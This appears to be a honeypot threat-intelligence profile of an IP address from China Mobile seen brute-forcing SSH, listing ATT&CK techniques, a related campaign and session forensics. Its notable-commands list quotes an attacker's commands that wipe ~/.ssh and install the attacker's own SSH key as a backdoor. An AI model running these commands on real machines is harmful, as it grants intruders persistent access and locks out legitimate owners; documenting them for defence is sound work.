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223.93.164.218

Threat Confidence
39%
Location
🇨🇳 CN
ASN
AS56041 · China Mobile communications corporation
Cloud Provider
—
Total Events
6
Below average by volume
Agent Count
1
First / Last Seen
2026-03-28 23:53 — 2026-04-14 15:08
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1046
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (663 IPs, 73 countries) HASSH Active high 🇨🇳 CN
663 IPs 238311 events
ssh:bruteforce
2026-02-27 — ongoing · 663 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: China Telecom Group (AS4811). Geographic …
Session Forensics
scanner ×3 malware_dropper ×1 credential_probe ×1 opportunistic_bruter ×1
Sessions
6 (2 with login)
Avg Depth Score
0.36
Commands Executed
3
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fb
SSH Client
SSH-2.0-libssh_0.11.1
Evidence Timeline
Malware Dropper 476bbf0fe284 w4m_singapore_01 · 2026-04-17 09:40
3 1 1 100%
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Opportunistic Bruter 2916ff7e7586 w4m_singapore_01 · 2026-04-17 09:40
1 50%
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Credential Probe 462e3acc2fe7 w4m_singapore_01 · 2026-04-17 09:40
1 20%
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Scanner 637bb95bdac0 w4m_singapore_01 · 2026-04-14 15:06
15%
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Scanner 120260a56eee w4m_singapore_01 · 2026-03-31 08:21
15%
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Scanner 62e1d5601a29 w4m_singapore_01 · 2026-03-28 23:53
15%
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